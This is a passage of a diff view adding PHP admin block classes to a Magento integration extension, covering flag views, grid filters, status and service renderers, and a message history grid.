return Mage::registry('flag');
|
24 |
+
}
|
25 |
+
|
26 |
+
public function getStatus()
|
27 |
+
{
|
28 |
+
return $this->getFlag()->getStatus();
|
29 |
+
}
|
30 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/View/Identifier.php
ADDED
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Flag_View_Identifier
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_Flag_View_Abstract
|
20 |
+
{
|
21 |
+
public function getIdentifier()
|
22 |
+
{
|
23 |
+
return Mage::registry('message_identifier');
|
24 |
+
}
|
25 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/View/Overview.php
ADDED
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Flag_View_Overview
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_Flag_View_Abstract
|
20 |
+
{
|
21 |
+
|
22 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Grid/DirectedServiceFilter.php
ADDED
@@ -0,0 +1,143 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Grid_DirectedServiceFilter
|
19 |
+
extends Mage_Adminhtml_Block_Widget_Grid_Column_Filter_Abstract
|
20 |
+
{
|
21 |
+
const DIRECTION = 'direction';
|
22 |
+
const SERVICE = 'service';
|
23 |
+
|
24 |
+
public function getHtml()
|
25 |
+
{
|
26 |
+
$directionOptions = $this->_getDirectionOptions();
|
27 |
+
$directionHtml = $this->_getSelect(self::DIRECTION, $directionOptions);
|
28 |
+
|
29 |
+
$serviceOptions = $this->_getServiceOptions();
|
30 |
+
$serviceHtml = $this->_getSelect(self::SERVICE, $serviceOptions);
|
31 |
+
|
32 |
+
return "$directionHtml<br/>$serviceHtml";
|
33 |
+
}
|
34 |
+
|
35 |
+
public function getConditions()
|
36 |
+
{
|
37 |
+
$conditions = array();
|
38 |
+
|
39 |
+
if ($direction = $this->_getDirectionValue()) {
|
40 |
+
$directionConfigData = $this->_getDirectionConfig()->getData();
|
41 |
+
$directionConfigData['condition'] = array('eq' => $direction);
|
42 |
+
$conditions[] = $directionConfigData;
|
43 |
+
}
|
44 |
+
|
45 |
+
if ($service = $this->_getServiceValue()) {
|
46 |
+
$serviceConfigData = $this->_getServiceConfig()->getData();
|
47 |
+
$serviceConfigData['condition'] = array('eq' => $service);
|
48 |
+
$conditions[] = $serviceConfigData;
|
49 |
+
}
|
50 |
+
|
51 |
+
return $conditions;
|
52 |
+
}
|
53 |
+
|
54 |
+
protected function _getSelect($valueKey, array $options)
|
55 |
+
{
|
56 |
+
$html = '<select name="' . $this->_getHtmlName() . '[' . $valueKey . ']" id="'
|
57 |
+
. $this->_getHtmlId() . '_' . $valueKey . '" class="no-changes">';
|
58 |
+
|
59 |
+
$value = $this->_getValuePart($valueKey);
|
60 |
+
foreach ($options as $_option){
|
61 |
+
if (is_array($_option['value'])) {
|
62 |
+
$html .= '<optgroup label="' . $this->escapeHtml($_option['label']) . '">';
|
63 |
+
foreach ($_option['value'] as $subOption) {
|
64 |
+
$html .= $this->_renderOption($subOption, $value);
|
65 |
+
}
|
66 |
+
$html .= '</optgroup>';
|
67 |
+
} else {
|
68 |
+
$html .= $this->_renderOption($_option, $value);
|
69 |
+
}
|
70 |
+
}
|
71 |
+
|
72 |
+
return $html . '</select>';
|
73 |
+
}
|
74 |
+
|
75 |
+
protected function _getDirectionValue()
|
76 |
+
{
|
77 |
+
return $this->_getValuePart(self::DIRECTION);
|
78 |
+
}
|
79 |
+
|
80 |
+
protected function _getServiceValue()
|
81 |
+
{
|
82 |
+
return $this->_getValuePart(self::SERVICE);
|
83 |
+
}
|
84 |
+
|
85 |
+
protected function _getValuePart($key)
|
86 |
+
{
|
87 |
+
$value = $this->getValue();
|
88 |
+
|
89 |
+
if (!is_array($value) || !array_key_exists($key, $value)) {
|
90 |
+
return null;
|
91 |
+
}
|
92 |
+
|
93 |
+
return $value[$key];
|
94 |
+
}
|
95 |
+
|
96 |
+
protected function _getDirectionConfig()
|
97 |
+
{
|
98 |
+
$data = $this->getColumn()->getDirection();
|
99 |
+
|
100 |
+
return new Ampersand_Object($data);
|
101 |
+
}
|
102 |
+
|
103 |
+
protected function _getServiceConfig()
|
104 |
+
{
|
105 |
+
$data = $this->getColumn()->getService();
|
106 |
+
|
107 |
+
return new Ampersand_Object($data);
|
108 |
+
}
|
109 |
+
|
110 |
+
protected function _getDirectionOptions()
|
111 |
+
{
|
112 |
+
return $this->_getOptions($this->_getDirectionConfig()->getOptions());
|
113 |
+
}
|
114 |
+
|
115 |
+
protected function _getServiceOptions()
|
116 |
+
{
|
117 |
+
return $this->_getOptions($this->_getServiceConfig()->getOptions());
|
118 |
+
}
|
119 |
+
|
120 |
+
protected function _getOptions($columnOptions)
|
121 |
+
{
|
122 |
+
if (empty($columnOptions) || !is_array($columnOptions)) {
|
123 |
+
return array();
|
124 |
+
}
|
125 |
+
|
126 |
+
$emptyOption = array('value' => null, 'label' => '');
|
127 |
+
$options = array($emptyOption);
|
128 |
+
|
129 |
+
foreach ($columnOptions as $value => $label) {
|
130 |
+
$options[] = array('value' => $value, 'label' => $label);
|
131 |
+
}
|
132 |
+
|
133 |
+
return $options;
|
134 |
+
}
|
135 |
+
|
136 |
+
protected function _renderOption($option, $value)
|
137 |
+
{
|
138 |
+
$selected = $option['value'] == $value && !is_null($value) ? ' selected="selected"' : '' ;
|
139 |
+
|
140 |
+
return '<option value="' . $this->escapeHtml($option['value']) . '"'.$selected . '>'
|
141 |
+
. $this->escapeHtml($option['label']) . '</option>';
|
142 |
+
}
|
143 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Grid/DirectedServiceRenderer.php
ADDED
@@ -0,0 +1,53 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Grid_DirectedServiceRenderer
|
19 |
+
extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Abstract
|
20 |
+
{
|
21 |
+
public function render(Varien_Object $row)
|
22 |
+
{
|
23 |
+
$serviceDescription = $this->_getServiceDescription($row);
|
24 |
+
|
25 |
+
$directionData = $this->getColumn()->getDirection();
|
26 |
+
switch ($row->getData($directionData['index'])) {
|
27 |
+
case Ampersand_Integration_Model_Message::DIRECTION_INCOMING:
|
28 |
+
$html = Mage::helper('ampersand_integration')->__(
|
29 |
+
'<em><strong>from</strong></em> %s', $serviceDescription
|
30 |
+
);
|
31 |
+
break;
|
32 |
+
case Ampersand_Integration_Model_Message::DIRECTION_OUTGOING:
|
33 |
+
$html = Mage::helper('ampersand_integration')->__(
|
34 |
+
'<em><strong>to</strong></em> %s', $serviceDescription
|
35 |
+
);
|
36 |
+
break;
|
37 |
+
default:
|
38 |
+
$html = $serviceDescription;
|
39 |
+
break;
|
40 |
+
}
|
41 |
+
|
42 |
+
return $html;
|
43 |
+
}
|
44 |
+
|
45 |
+
protected function _getServiceDescription(Varien_Object $row)
|
46 |
+
{
|
47 |
+
$serviceData = $this->getColumn()->getService();
|
48 |
+
$serviceOptions = $serviceData['options'];
|
49 |
+
$serviceValue = $row->getData($serviceData['index']);
|
50 |
+
|
51 |
+
return $serviceOptions[$serviceValue];
|
52 |
+
}
|
53 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Grid/StatusRenderer.php
ADDED
@@ -0,0 +1,93 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Grid_StatusRenderer
|
19 |
+
extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Abstract
|
20 |
+
{
|
21 |
+
public function renderHeader()
|
22 |
+
{
|
23 |
+
return "<div style='width:6px'></div>";
|
24 |
+
}
|
25 |
+
|
26 |
+
public function render(Varien_Object $row)
|
27 |
+
{
|
28 |
+
$state = $this->_getValue($row);
|
29 |
+
|
30 |
+
switch ($state) {
|
31 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_EMPTY:
|
32 |
+
default:
|
33 |
+
$color = null;
|
34 |
+
break;
|
35 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_SUCCESS:
|
36 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_NOTICE:
|
37 |
+
$color = '80FF80';
|
38 |
+
break;
|
39 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_WARNING:
|
40 |
+
$color = 'FFDE73';
|
41 |
+
break;
|
42 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_ERROR:
|
43 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_CRITICAL:
|
44 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_BLOCKER:
|
45 |
+
$color = 'FF7160';
|
46 |
+
break;
|
47 |
+
}
|
48 |
+
|
49 |
+
$id = "row-status-{$row->getId()}";
|
50 |
+
|
51 |
+
$description = Ampersand_Integration_Flag::getDescriptionByType($state);
|
52 |
+
|
53 |
+
$html = "
|
54 |
+
<div id='$id' style='width:6px' title='State: $description'> </div>
|
55 |
+
";
|
56 |
+
|
57 |
+
if ($color) {
|
58 |
+
$html .= "
|
59 |
+
<script type='text/javascript'>
|
60 |
+
$('$id').up().setStyle({backgroundColor: '#$color'});
|
61 |
+
</script>
|
62 |
+
";
|
63 |
+
}
|
64 |
+
|
65 |
+
return $html;
|
66 |
+
}
|
67 |
+
|
68 |
+
public function deprecated_render(Varien_Object $row)
|
69 |
+
{
|
70 |
+
$nrOfFlags = $row->getData($this->getColumn()->getFlagsIndex());
|
71 |
+
$nrOfErrors = $row->getData($this->getColumn()->getErrorsIndex());
|
72 |
+
|
73 |
+
if ($nrOfErrors) {
|
74 |
+
// has errors
|
75 |
+
$color = 'FF7160';
|
76 |
+
} else if ($nrOfFlags) {
|
77 |
+
// has flags
|
78 |
+
$color = 'FFDE73';
|
79 |
+
} else {
|
80 |
+
// no flags
|
81 |
+
$color = '80FF80';
|
82 |
+
}
|
83 |
+
|
84 |
+
$id = "row-status-{$row->getId()}";
|
85 |
+
|
86 |
+
return "
|
87 |
+
<div id='$id' style='width:6px'></div>
|
88 |
+
<script type='text/javascript'>
|
89 |
+
$('$id').up().setStyle({backgroundColor: '#$color'});
|
90 |
+
</script>
|
91 |
+
";
|
92 |
+
}
|
93 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/GridAbstract.php
ADDED
@@ -0,0 +1,104 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Block_Adminhtml_GridAbstract
|
19 |
+
extends Ampersand_Adminhtml_Block_Widget_Grid
|
20 |
+
{
|
21 |
+
protected $_serviceOptionsArray;
|
22 |
+
protected $_searchInstance;
|
23 |
+
|
24 |
+
protected function _getServiceOptionsArray()
|
25 |
+
{
|
26 |
+
if (is_null($this->_serviceOptionsArray)) {
|
27 |
+
$serviceCollection = Mage::getResourceModel('ampersand_integration/service_info_collection');
|
28 |
+
$serviceIdField = Mage::getSingleton('ampersand_integration/service_info')->getIdFieldName();
|
29 |
+
|
30 |
+
$serviceCollection->addFilterToMap('description', 'IFNULL(description, code)');
|
31 |
+
|
32 |
+
$this->_serviceOptionsArray = $serviceCollection->fetchPairs('description');
|
33 |
+
}
|
34 |
+
|
35 |
+
return $this->_serviceOptionsArray;
|
36 |
+
}
|
37 |
+
|
38 |
+
public function getRowUrl($row)
|
39 |
+
{
|
40 |
+
$searchItemParam = Ampersand_Adminhtml_Model_Search_Item::DEFAULT_GET_PARAM;
|
41 |
+
|
42 |
+
return $this->getUrl('*/*/view', array(
|
43 |
+
'id' => $row->getId(),
|
44 |
+
'service_code' => $this->getServiceCode(),
|
45 |
+
$searchItemParam => $this->getSearchItemId($row->getId()),
|
46 |
+
));
|
47 |
+
}
|
48 |
+
|
49 |
+
public function getGridUrl()
|
50 |
+
{
|
51 |
+
return $this->getUrl('*/*/grid', array(
|
52 |
+
'_current' => true,
|
53 |
+
'service_code' => $this->getServiceCode(),
|
54 |
+
));
|
55 |
+
}
|
56 |
+
|
57 |
+
public function getServiceCode()
|
58 |
+
{
|
59 |
+
return Mage::helper('ampersand_integration/adminhtml')->getCurrentServiceCode();
|
60 |
+
}
|
61 |
+
|
62 |
+
public function getAllowedServiceIds()
|
63 |
+
{
|
64 |
+
if (!$this->hasData('allowed_service_ids')) {
|
65 |
+
$serviceIds = Mage::helper('ampersand_integration/adminhtml')
|
66 |
+
->getAllowedServiceIds('ampersand_integration/*/message_history');
|
67 |
+
|
68 |
+
$this->setAllowedServiceIds($serviceIds);
|
69 |
+
}
|
70 |
+
|
71 |
+
return $this->getData('allowed_service_ids');
|
72 |
+
}
|
73 |
+
|
74 |
+
protected function _addColumnFilterToCollection($column)
|
75 |
+
{
|
76 |
+
if ($this->getCollection()) {
|
77 |
+
if ($conditions = $column->getFilter()->getConditions()) {
|
78 |
+
foreach ($conditions as $_conditionData) {
|
79 |
+
if (!array_key_exists('filter_index', $_conditionData)) {
|
80 |
+
$this->getCollection()->addFieldToFilter(
|
81 |
+
$_conditionData['index'], $_conditionData['condition']
|
82 |
+
);
|
83 |
+
} else {
|
84 |
+
$this->getCollection()->addFieldToFilterHaving(
|
85 |
+
$_conditionData['filter_index'], $_conditionData['condition']
|
86 |
+
);
|
87 |
+
}
|
88 |
+
}
|
89 |
+
} else {
|
90 |
+
$field = $column->getFilterIndex() ? $column->getFilterIndex() : $column->getIndex();
|
91 |
+
$condition = $column->getFilter()->getCondition();
|
92 |
+
if ($field && $condition) {
|
93 |
+
if (!$column->getFilterIndex()) {
|
94 |
+
$this->getCollection()->addFieldToFilter($field , $condition);
|
95 |
+
} else {
|
96 |
+
$this->getCollection()->addFieldToFilterHaving($field , $condition);
|
97 |
+
}
|
98 |
+
}
|
99 |
+
}
|
100 |
+
}
|
101 |
+
|
102 |
+
return $this;
|
103 |
+
}
|
104 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message.php
ADDED
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Message extends Mage_Adminhtml_Block_Widget_Grid_Container
|
19 |
+
{
|
20 |
+
public function __construct()
|
21 |
+
{
|
22 |
+
$this->_blockGroup = 'ampersand_integration_admin';
|
23 |
+
$this->_controller = 'message';
|
24 |
+
|
25 |
+
if (!$this->getService()) {
|
26 |
+
$this->_headerText = Mage::helper('ampersand_integration')->__(
|
27 |
+
'Message History'
|
28 |
+
);
|
29 |
+
} else {
|
30 |
+
$this->_headerText = Mage::helper('ampersand_integration')->__(
|
31 |
+
'%s Message History', $this->getService()->getDescription()
|
32 |
+
);
|
33 |
+
}
|
34 |
+
|
35 |
+
parent::__construct();
|
36 |
+
|
37 |
+
$this->_removeButton('add');
|
38 |
+
}
|
39 |
+
|
40 |
+
public function getService()
|
41 |
+
{
|
42 |
+
return Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
43 |
+
}
|
44 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message/Grid.php
ADDED
@@ -0,0 +1,161 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Message_Grid
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_GridAbstract
|
20 |
+
{
|
21 |
+
protected $_serviceOptionsArray;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
parent::__construct();
|
26 |
+
|
27 |
+
$this->setId('message_grid')
|
28 |
+
->setUseAjax(true)
|
29 |
+
->setDefaultSort('entity_id')
|
30 |
+
->setDefaultDir('DESC')
|
31 |
+
->setSaveParametersInSession(true)
|
32 |
+
;
|
33 |
+
}
|
34 |
+
|
35 |
+
protected function _prepareCollection()
|
36 |
+
{
|
37 |
+
if (!$allowedServiceIds = $this->getAllowedServiceIds()) {
|
38 |
+
$allowedServiceIds = array(-1);
|
39 |
+
}
|
40 |
+
|
41 |
+
$collection = Mage::getResourceModel('ampersand_integration/message_collection')
|
42 |
+
->addFieldToFilter('service_id', $allowedServiceIds)
|
43 |
+
->addIdentifierCount()
|
44 |
+
->addSuccessfulIdentifierCount()
|
45 |
+
->addErrorCount();
|
46 |
+
|
47 |
+
$service = Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
48 |
+
if ($service) {
|
49 |
+
$collection->addFieldToFilter('service_id', $service->getId());
|
50 |
+
}
|
51 |
+
|
52 |
+
$this->setCollection($collection);
|
53 |
+
|
54 |
+
return parent::_prepareCollection();
|
55 |
+
}
|
56 |
+
|
57 |
+
protected function _prepareColumns()
|
58 |
+
{
|
59 |
+
$this->addColumn('entity_id', array(
|
60 |
+
'header' => Mage::helper('ampersand_integration')->__('Message #'),
|
61 |
+
'type' => 'number',
|
62 |
+
'index' => 'entity_id',
|
63 |
+
));
|
64 |
+
|
65 |
+
$this->addColumn('created_at', array(
|
66 |
+
'header' => Mage::helper('ampersand_integration')->__('Date'),
|
67 |
+
'type' => 'datetime',
|
68 |
+
'index' => 'created_at',
|
69 |
+
));
|
70 |
+
|
71 |
+
if (!$this->getServiceCode()) {
|
72 |
+
$this->addColumn('service_name', array(
|
73 |
+
'header' => Mage::helper('ampersand_integration')->__('Direction & Service'),
|
74 |
+
'filter' => 'ampersand_integration_admin/grid_directedServiceFilter',
|
75 |
+
'renderer' => 'ampersand_integration_admin/grid_directedServiceRenderer',
|
76 |
+
'index' => 'service_id',
|
77 |
+
'direction' => array(
|
78 |
+
'index' => 'direction',
|
79 |
+
'options' => array(
|
80 |
+
Ampersand_Integration_Model_Message::DIRECTION_INCOMING =>
|
81 |
+
Mage::helper('ampersand_integration')->__('Incoming'),
|
82 |
+
Ampersand_Integration_Model_Message::DIRECTION_OUTGOING =>
|
83 |
+
Mage::helper('ampersand_integration')->__('Outgoing'),
|
84 |
+
),
|
85 |
+
),
|
86 |
+
'service' => array(
|
87 |
+
'index' => 'service_id',
|
88 |
+
'options' => $this->_getServiceOptionsArray(),
|
89 |
+
),
|
90 |
+
));
|
91 |
+
} else {
|
92 |
+
$this->addColumn('direction', array(
|
93 |
+
'header' => Mage::helper('ampersand_integration')->__('Direction'),
|
94 |
+
'type' => 'options',
|
95 |
+
'index' => 'direction',
|
96 |
+
'options' => array(
|
97 |
+
Ampersand_Integration_Model_Message::DIRECTION_INCOMING =>
|
98 |
+
Mage::helper('ampersand_integration')->__('Incoming'),
|
99 |
+
Ampersand_Integration_Model_Message::DIRECTION_OUTGOING =>
|
100 |
+
Mage::helper('ampersand_integration')->__('Outgoing'),
|
101 |
+
),
|
102 |
+
));
|
103 |
+
}
|
104 |
+
|
105 |
+
$this->addColumn('name', array(
|
106 |
+
'header' => Mage::helper('ampersand_integration')->__('Message Name'),
|
107 |
+
'type' => 'text',
|
108 |
+
'index' => 'name',
|
109 |
+
));
|
110 |
+
|
111 |
+
$this->addColumn('nr_of_identifiers', array(
|
112 |
+
'header' => Mage::helper('ampersand_integration')->__('Number of Items'),
|
113 |
+
'type' => 'number',
|
114 |
+
'index' => 'nr_of_identifiers',
|
115 |
+
'filter_index' => 'nr_of_identifiers',
|
116 |
+
));
|
117 |
+
|
118 |
+
$this->addColumn('nr_of_successful_identifiers', array(
|
119 |
+
'header' => Mage::helper('ampersand_integration')->__('Successful Items'),
|
120 |
+
'type' => 'number',
|
121 |
+
'index' => 'nr_of_successful_identifiers',
|
122 |
+
'filter_index' => 'nr_of_successful_identifiers',
|
123 |
+
));
|
124 |
+
|
125 |
+
$this->addColumn('nr_of_errors', array(
|
